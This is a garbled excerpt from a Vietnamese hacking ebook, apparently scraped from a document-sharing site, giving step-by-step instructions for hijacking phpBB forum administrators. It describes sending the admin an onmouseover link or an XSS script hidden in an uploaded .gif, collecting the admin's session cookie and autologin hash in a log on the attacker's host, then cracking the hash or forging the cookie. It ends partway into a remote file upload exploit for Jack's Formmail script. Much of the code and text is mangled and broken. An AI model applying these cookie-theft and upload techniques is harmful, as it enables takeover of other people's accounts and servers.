Tham khảo tài liệu 'hacker professional ebook part 204', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | BODY img scr link file ảnh để fake admin tập 2 he img bOdy HTML Bước 2 gửi admin đoạn code sau Code pre a onmouseover link helpme okie b img Link fake admin tập 1 img Chỉ cần admin di chuột qua cái image là . toi o Chú ý rõ là HTML phải on nhá không thì . húp cám o Ta còn có thể exploit qua bug mới tôi vừa found sáng này Xss Smilies Album phpBB - Cop cái đoạn exploit XSS Code script link helpme script vào đầu file image .gif up qua phpBB2 smilies_mod upload send cho admin Q Bước 3 Chờ đợi admin reply kiểm tra trên host mình file log sẽ có dạng Code Xforums_data a 7 s 41 autologinid s 0 s 6 userid s 3 320 admin aDFpeGplc2LKctkzOTIuygb1YjI5OTI2LKJkODDCMDhlYzhjM5G6dzN mMDplbmdsnvGV user KctkzOTIuygbtYWdlOjljZGZiNDjhyrGBVDLO896HGb6Nzg2NGM5MTY 3YTE 1Oj EwOj owOj A6MahbOj o0 lang english eqdkp_data a 2 s 13 auto_login_id s 32 xxxxxxxxxxxxxxxxxxxxxxxxxxxx s 7 user_id s 1 1 Xforums_sid dfg788hse643a527bdeafcgh674ng hash đây xxxxxxxxxxxxxxxxxxxxxxxxxxxx Crack hash hoặc fake cookie o Fake cookie đã có bài roài Q. xem lại nhá Q Bài viết trên có phần đóng góp của lão Comp lão đóng góp we j đâu Q lão hỏi có bit chơi cookie vBB k0 em mới tập tọe làm cho cả phpBB mong lão . đừng chat với em nhá . lão chat với em YM của em die lun dinhcaohack vniss Hướng dẩn hack lổi Jacks Remote File Bài viết mang tính tham khảo được lấy từ Elite Hacking Zone của MATRIX 2K Hacker Association trước đây . Đọc bài về loi trên Jacks Remote File Upload Author http . com Scripts Credits e_D Website http Một lỗi nằm trong Jack s Formail Script thường được sử dụng cho phép Hacker từ xa có thể upload bất cứ file nào lên bất cứ thư mục nào trong hệ thống . Lỗi được khai thác nằm ở đây Code input type- hidden name MAX_FILE_SIZE value 1000000 input type- hidden .
